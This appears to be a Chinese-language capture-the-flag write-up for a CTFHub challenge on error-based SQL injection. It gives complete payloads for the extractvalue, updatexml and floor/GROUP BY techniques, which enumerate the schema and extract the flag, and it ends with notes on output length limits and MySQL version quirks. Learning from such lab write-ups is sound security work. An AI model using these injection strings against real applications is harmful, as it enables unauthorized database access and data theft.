背景
Sql注入主要有三种方法,extractvalue和updatexml函数形成的xpath报错,这算两种。还有一种就是floor实现的group by主键重复,这算另外一种。
本篇文章将对CTFHUB中的SQL报错注入题目从头到尾对这三种方法进行实践。
利用extractvalue来xpath报错。
1 and (select extractvalue(1, concat(0x7e, (select database()))))
1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))
1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))
1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))
利用updatexml来xpath报错。
1 and (select updatexml(1, (concat (0x7e, (select database()))),1))
1 and (select updatexml(1, (concat (0x7e, (select group_concat(table_name) from information_schema.tables where table_schema='sqli'))),1))
1 and (select updatexml(1, (concat (0x7e, (select group_concat(column_name) from information_schema.columns where table_name='flag'))),1))
1 and (select updatexml(1, concat(0x7e, (select flag from flag)), 1))
利用floor来group by主键重复报错。
1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x
1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x
注:图中有错误,在limit那里,正确的用法如上。
1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x
1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x
总结
在30分钟里用三种方法报错注入得到flag,顺便写出writeup,感觉蛮快了2333。
extractvalue和updatexml用起来没什么问题,很顺利。
突然发现用这两个函数得到的flag是不完整的。这两个函数的返回值最多只有32个字符。这里和最终的flag少了一个右大括号。
以后遇到这种问题再用一下right()
获取右边的值即可。
用group by的时候问题很大,首先它貌似只试用于mysql 5.x的版本,以至于我在本地最新mysql版本上复现出来。关于这个问题在 csdn上 写了一篇博客。
然后我发现用这个group by来报错的时候不能用爆表和爆字段的时候不能用group_concat
。但是我在本地测试的时候又可以,很奇怪,感觉是题目的锅。
但是没关系,不用group_concat就手动一个个查,利用limit来控制。
limit的第一个值表示从 第几行开始,第二个值表示从开始的行取几行。